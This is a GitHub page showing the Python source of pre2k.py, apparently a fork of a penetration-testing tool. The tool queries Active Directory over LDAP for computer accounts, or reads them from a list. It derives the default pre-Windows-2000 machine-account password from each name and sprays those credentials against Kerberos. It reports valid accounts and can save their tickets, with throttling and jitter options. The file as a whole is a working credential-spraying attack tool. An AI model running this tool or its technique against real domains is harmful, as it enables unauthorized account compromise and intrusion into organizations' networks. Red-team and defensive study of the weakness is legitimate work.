forked from garrettfoster13/pre2k-TS
-
Notifications
You must be signed in to change notification settings - Fork 0
/
pre2k.py
523 lines (452 loc) · 22.2 KB
/
pre2k.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
#!/usr/bin/env python3
from ast import arg
from impacket.smbconnection import SMBConnection
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from binascii import unhexlify
from ldap3 import ANONYMOUS
import argparse
from getpass import getpass
import ldap3
import json
import ssl
import sys
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
from impacket.krb5 import constants
from impacket.krb5.types import Principal
import os
from rich.console import Console
from datetime import datetime
import time
from random import randint
from concurrent.futures import ThreadPoolExecutor, as_completed
show_banner = '''
___ __ __
/'___`\ /\ \ /\ \__
_____ _ __ __ /\_\ /\ \\\\ \ \/'\ \ \ ,_\ ____
/\ '__`\/\`'__\/'__`\ _______\/_/// /__\ \ , < _______\ \ \/ /',__\
\ \ \L\ \ \ \//\ __//\______\ // /_\ \\\\ \ \\\\`\ /\______\\\\ \ \_/\__, `\\
\ \ ,__/\ \_\\\\ \____\/______/ /\______/ \ \_\ \_\/______/ \ \__\/\____/
\ \ \/ \/_/ \/____/ \/_____/ \/_/\/_/ \/__/\/___/
\ \_\
\/_/ @garrfoster
'''
console = Console()
tried = 0
valid = 0
def arg_parse():
parser = argparse.ArgumentParser(add_help=True,description=
'''Tool to enumerate a target environment for the presence of machine accounts configured as pre-2000 Windows machines.\n
Either by brute forcing all machine accounts, a targeted, filtered approach, or from a user supplied input list.
''')
# auth_group = parser.add_argument_group("Authentication")
# optional_group = parser.add_argument_group("Optional Flags")
subparsers = parser.add_subparsers(dest="command", required=True)
unauth_parser = subparsers.add_parser("unauth", help='Pass a list of hostnames to test authentication.')
unauth_parser.add_argument('-d', action='store', required=True, help="Target domain")
unauth_parser.add_argument('-dc-ip', action='store', required=True, help = "IP address or FQDN of domain controller")
unauth_parser.add_argument("-inputfile", action="store", required=True, help="Pass a list of machine accounts to validate. Format machinename$")
unauth_parser.add_argument("-outputfile", action="store", help="Log results to file.")
unauth_parser.add_argument("-verbose", action="store_true", help="Verbose output displaying failed attempts.")
unauth_parser.add_argument("-stoponsuccess", action='store_true', help="Stop on sucessful authentication")
unauth_parser.add_argument("-save", action="store_true", help="Request and save a .ccache file to your current working directory")
unauth_parser.add_argument("-n", action="store_true", help="Attempt authentication with an empty password.")
unauth_parser.add_argument("-sleep", action="store", help="Length of time to sleep between attempts in seconds.", type=int)
unauth_parser.add_argument("-jitter", action="store", help="Add jitter to sleep time.", type=int)
unauth_parser.add_argument("-threads", action="store", help="Number of threads to spray with. Default: 10", default=10, type=int)
auth_parser = subparsers.add_parser("auth", help="Query the domain for pre Windows 2000 machine accounts.")
auth_parser.add_argument("-u", action="store", required=True, help="Username")
auth_parser.add_argument("-p", action="store", help="Password")
auth_parser.add_argument("-d", action="store", required=True, help="Target domain")
auth_parser.add_argument("-dc-ip", action='store', required=True, help="IP address or FQDN of domain controller")
auth_parser.add_argument("-ldaps", action="store_true", help="Use LDAPS instead of LDAP")
auth_parser.add_argument("-k", action="store_true", help="Use Kerberos authentication")
auth_parser.add_argument("-no-pass", action="store_true", help="don't ask for password (useful for -k)")
auth_parser.add_argument("-hashes", action="store", metavar="LMHASH:NTHASH", help="LM and NT hashes, format is LMHASH:NTHASH",)
auth_parser.add_argument("-aes", action="store", metavar="hex key", help="AES key to use for Kerberos Auth.")
auth_parser.add_argument("-targeted", action="store_true", help="Search for computer accounts with logoncount=0.")
auth_parser.add_argument("-verbose", action="store_true", help="Verbose output displaying failed attempts.")
auth_parser.add_argument("-outputfile", action="store", help="Log results to file.")
auth_parser.add_argument("-stoponsuccess", action="store_true", help="Stop on sucessful authentication")
auth_parser.add_argument("-save", action="store_true", help="Request and save a .ccache file to your current working directory")
auth_parser.add_argument("-n", action="store_true", help="Attempt authentication with an empty password.")
auth_parser.add_argument("-sleep", action="store", help="Length of time to sleep between attempts in seconds.", type=int)
auth_parser.add_argument("-jitter", action="store", help="Add jitter to sleep time.", type=int)
auth_parser.add_argument("-threads", action="store", help="Number of threads to spray with. Default: 10", default=10, type=int)
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
return args
def get_dn(domain):
components = domain.split('.')
base = ''
for comp in components:
base += f',DC={comp}'
return base[1:]
def get_machine_name(domain_controller, domain):
if domain_controller is not None:
s = SMBConnection(domain_controller, domain_controller)
else:
s = SMBConnection(domain, domain)
try:
s.login('', '')
except Exception:
if s.getServerName() == '':
raise Exception('Error while anonymous logging into %s' % domain)
else:
s.logoff()
return s.getServerName()
def init_ldap_connection(target, tls_version, domain, username, password, lmhash, nthash, domain_controller, kerberos, hashes, aesKey):
user = '%s\\%s' % (domain, username)
if tls_version is not None:
use_ssl = True
port = 636
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
else:
use_ssl = False
port = 389
tls = None
ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
if kerberos:
ldap_session = ldap3.Connection(ldap_server)
ldap_session.bind()
ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, aesKey, kdcHost=domain_controller)
elif hashes is not None:
if lmhash == "":
lmhash = "aad3b435b51404eeaad3b435b51404ee"
ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True)
elif username == '' and password == '':
ldap_session = ldap3.Connection(ldap_server, authentication=ANONYMOUS, auto_bind=True)
else:
ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)
return ldap_server, ldap_session
def init_ldap_session(domain, username, password, lmhash, nthash, kerberos, domain_controller, ldaps, hashes, aesKey):
if kerberos:
#target = domain_controller
netbiosname = get_machine_name(domain_controller, domain)
#dontlookhereok
target = netbiosname + "." + domain
else:
if domain_controller is not None:
target = domain_controller
else:
target = domain
if ldaps:
try:
return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, domain, username, password, lmhash, nthash, domain_controller, kerberos, hashes, aesKey)
except ldap3.core.exceptions.LDAPSocketOpenError:
return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, domain, username, password, lmhash, nthash, domain_controller, kerberos, hashes, aesKey)
else:
return init_ldap_connection(target, None, domain, username, password, lmhash, nthash, domain_controller, kerberos, hashes, aesKey)
def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True):
from pyasn1.codec.ber import encoder, decoder
from pyasn1.type.univ import noValue
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises an Exception if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2:
lmhash = '0' + lmhash
if len(nthash) % 2:
nthash = '0' + nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except TypeError:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
import datetime
if TGT is not None or TGS is not None:
useCache = False
if useCache:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception as e:
# No cache present
print(e)
pass
else:
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
print ('Domain retrieved from CCache: %s' % domain)
print('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
principal = 'ldap/%s@%s' % (target.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
print('Using TGT from cache')
else:
print('No valid credentials found in cache')
else:
TGS = creds.toTGS(principal)
print('Using TGS from cache')
# retrieve user information from CCache file if needed
if user == '' and creds is not None:
user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
print('Username retrieved from CCache: %s' % user)
elif user == '' and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]['data'].decode('utf-8')
print('Username retrieved from CCache: %s' % user)
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO',
blob.getData())
# Done with the Kerberos saga, now let's get into LDAP
if connection.closed: # try to open connection if closed
connection.open(read_server_info=False)
connection.sasl_in_progress = True
response = connection.post_send_single_response(connection.send('bindRequest', request, None))
connection.sasl_in_progress = False
if response[0]['result'] != 0:
raise Exception(response)
connection.bound = True
return True
class GETTGT:
def __init__(self, username, password, domain, dc_ip):
self.__password = password
self.__user = username
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__kdcHost = dc_ip
def saveTicket(self, ticket, sessionKey):
print('Saving ticket in %s' % (self.__user + '.ccache'))
# print('exort KRB5CCNAME=%s' % (os.getcwd()) + self.__user + '.ccache')
#print('export KRB5CCNAME=%s %s' % (os.getcwd()) % (self.__user + '.ccache'))
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGT(ticket, sessionKey, sessionKey)
ccache.saveFile(self.__user + '.ccache')
return True
def run(self, save):
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), None, self.__kdcHost)
if save:
self.saveTicket(tgt,oldSessionKey)
return True
class machinehunter:
def __init__(self, ldap_server, ldap_session, domain, targeted):
self.ldap_server = ldap_server
self.ldap_session = ldap_session
self.search_base = get_dn(domain)
self.attributes = "sAMAccountName"
self.domain = domain
self.targeted = targeted
def fetch_computers(self, ldap_session):
creds = []
num = 0
with console.status(f"Searching...", spinner="dots") as status:
if self.targeted:
search_filter = "(&(objectclass=computer)(logonCount=0))"
else:
search_filter = "(objectclass=computer)"
try:
ldap_session.extend.standard.paged_search(self.search_base, search_filter, attributes=self.attributes, paged_size=500, generator=False)
# print (f'Retrieved {len(self.ldap_session.entries)} results total.')
except ldap3.core.exceptions.LDAPAttributeError as e:
print()
print (f'Error: {str(e)}')
exit()
for entry in ldap_session.entries:
num += 1
status.update(f"Retrieved {num} results.")
json_entry = json.loads(entry.entry_to_json())
attributes = json_entry['attributes'].keys()
for attr in attributes:
val = entry[attr].value
if len(val) >= 15:
#if account name is 15 chars or more pw is first 14
credentials = val + ":" + val.lower()[:-2]
else:
credentials = val + ":" + val.lower()[:-1]
creds.append(credentials)
print (f'Retrieved {len(self.ldap_session.entries)} results total.')
return creds
def printlog(line, outputfile):
filename = (f'{outputfile}')
with open(filename, 'a') as f:
f.write("{}\n".format(line))
f.close
def delay(sleep, jitter):
if sleep and jitter:
delay = ""
delay = sleep
jitter = jitter
delay = delay + (delay * (randint(1, jitter) / 100))
print (f'Sleeping {delay} seconds until next attempt.')
time.sleep(delay)
elif sleep and not jitter:
delay = ""
delay = sleep
print(f'Sleeping {delay} seconds until next attempt.')
time.sleep(delay)
def spray(cred, n, domain, ip, save, outputfile, accounts, status, sleep, jitter, verbose):
global tried
global valid
status.update(f"Tried {tried}/{accounts}. {valid} valid.")
tried += 1
username, password = cred.split(":")
if n:
password = ''
try:
executer = GETTGT(username, password, domain, ip)
validate = executer.run(save)
except KerberosError:
if verbose:
if n:
line = (f'[-] Invalid credentials: {domain}\\{username}:nopass')
else:
line = (f'[-] Invalid credentials: {domain}\\{cred}')
print (line)
if outputfile:
printlog(line, outputfile)
delay(sleep, jitter)
return False
if validate:
valid += 1
if n:
line = (f'[+] VALID CREDENTIALS: {domain}\\{username}:nopass')
else:
line = (f'[+] VALID CREDENTIALS: {domain}\\{cred}')
print (line)
if outputfile:
printlog(line, outputfile)
delay(sleep, jitter)
return True
def pw_spray(creds, args):
dt = datetime.now()
print("Testing started at", dt)
if args.n:
print("Testing with empty password.")
with console.status(f"", spinner="dots") as status:
valid = 0
accounts = len(creds)
if args.sleep:
args.threads = 1 # no point in threading if we're sleeping b/w attempts
with ThreadPoolExecutor(max_workers=args.threads) as pool:
try:
# queue the jobs
future_validate = {pool.submit(spray, cred, args.n, args.d, args.dc_ip, args.save, args.outputfile, accounts, status, args.sleep, args.jitter, args.verbose): cred for cred in creds}
# as threads complete, check if we should be stopping
for validate in as_completed(future_validate):
if validate._result and args.stoponsuccess:
print("Valid credential found! Stopping session...")
pool.shutdown(wait=False, cancel_futures=True)
sys.exit()
except KeyboardInterrupt:
print("Stopping session...")
sys.exit()
def parse_input(inputfile, args):
creds = []
with open (inputfile) as f:
y = f.read().split("\n")
for i in y:
if len(i) >= 16:
# if accountname is 15 chars or more pw is first 14
credentials = i + ":" + i.lower()[:-2]
else:
credentials = i + ":" + i.lower()[:-1]
creds.append(credentials)
pw_spray(creds, args)
def main():
dt = datetime.now()
print(show_banner)
args = arg_parse()
if args.command == "unauth":
inputfile = args.inputfile
print (f'Reading from {inputfile}...')
parse_input(inputfile, args)
elif args.command == "auth":
args.lmhash = ""
args.nthash = ""
if args.hashes:
args.lmhash, args.nthash = args.hashes.split(':')
if not (args.p or args.lmhash or args.nthash or args.aes or args.no_pass):
args.p = getpass("Password:")
creds = 0
try:
ldap_server, ldap_session = init_ldap_session(domain=args.d, username=args.u, password=args.p, lmhash=args.lmhash, nthash=args.nthash, kerberos=args.k, domain_controller=args.dc_ip, aesKey=args.aes, hashes=args.hashes, ldaps=args.ldaps
)
except ldap3.core.exceptions.LDAPSocketOpenError as e:
if 'invalid server address' in str(e):
print (f'Invalid server address - {args.d}')
else:
print ('Error connecting to LDAP server')
print()
print(e)
exit()
except ldap3.core.exceptions.LDAPBindError as e:
print(f'Error: {str(e)}')
exit()
finder=machinehunter(ldap_server, ldap_session, domain=args.d, targeted=args.targeted)
creds = finder.fetch_computers(ldap_session)
pw_spray(creds, args)
if __name__ == '__main__':
main()